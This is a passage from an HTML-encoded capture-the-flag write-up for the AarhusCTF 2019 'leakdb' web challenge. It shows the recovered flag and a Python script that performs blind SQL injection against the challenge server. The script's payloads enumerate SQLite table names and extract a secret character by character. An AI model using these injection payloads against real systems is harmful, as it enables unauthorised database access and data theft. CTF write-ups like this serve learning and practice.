	&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/bLa07KUVFc-333.avif 333w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/bLa07KUVFc-333.webp 333w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/bLa07KUVFc-333.png&quot; alt=&quot;leaked.png&quot; width=&quot;333&quot; height=&quot;362&quot;&gt;&lt;/picture&gt;
	&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/pMikvNgAij-333.avif 333w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/pMikvNgAij-333.webp 333w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/pMikvNgAij-333.png&quot; alt=&quot;secrets.png&quot; width=&quot;333&quot; height=&quot;362&quot;&gt;&lt;/picture&gt;
&lt;/p&gt;
&lt;p&gt;Having found the table names we can try to brute-force the first entry in the table &lt;em&gt;&lt;strong&gt;&amp;quot;SECRETS&amp;quot;&lt;/strong&gt;&lt;/em&gt;, this returns the flag.&lt;/p&gt;
&lt;p style=&quot;display:grid; place-items: center;&quot;&gt;
	&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/8rftSgDmB_-332.avif 332w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/8rftSgDmB_-332.webp 332w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/8rftSgDmB_-332.png&quot; alt=&quot;flag.png&quot; width=&quot;332&quot; height=&quot;596&quot;&gt;&lt;/picture&gt;
&lt;/p&gt;
&lt;h3 id=&quot;flag&quot;&gt;Flag:&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;CTF{OH_DID_YOU_JUST_DUMP_ME?}&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;code-used&quot;&gt;Code used&lt;/h3&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; requests
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; re

url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://165.22.90.215:8085&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Bruteforcing of passwords in table&quot;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# basePayload = &quot;&#39; OR password like &#39;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Bruteforcing SQLite database table names&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# basePayload = &quot;&#39; UNION SELECT name FROM sqlite_master WHERE type=&#39;table&#39; AND name LIKE &#39;&quot;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Results:&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# LEAKED_PASSWORDS&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# SECRETS&lt;/span&gt;


&lt;span class=&quot;token comment&quot;&gt;# Bruteforce entry in SECRET table&lt;/span&gt;
basePayload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#39; OR (SELECT * from SECRETS) LIKE &#39;&quot;&lt;/span&gt;

known &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;
i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;#Try ascii chars from 32(Space) to 125(})&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;126&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# print known + chr(i)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Escape &#39;%&#39; character&lt;/span&gt;
    payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; basePayload &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; known &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;&#92;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;%&#39;-- &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; basePayload &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; known &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;%&#39;-- &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# print payload&lt;/span&gt;

  response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;pass&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payload&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  content &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;findall&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Oh no&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Check if oh no... exists (Query = True)&lt;/span&gt;
    known &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; known
    i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Reset for next character&lt;/span&gt;
  i&lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; known&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id=&quot;challenge-solved&quot;&gt;Challenge Solved!&lt;/h1&gt;
</content>
  </entry>
</feed>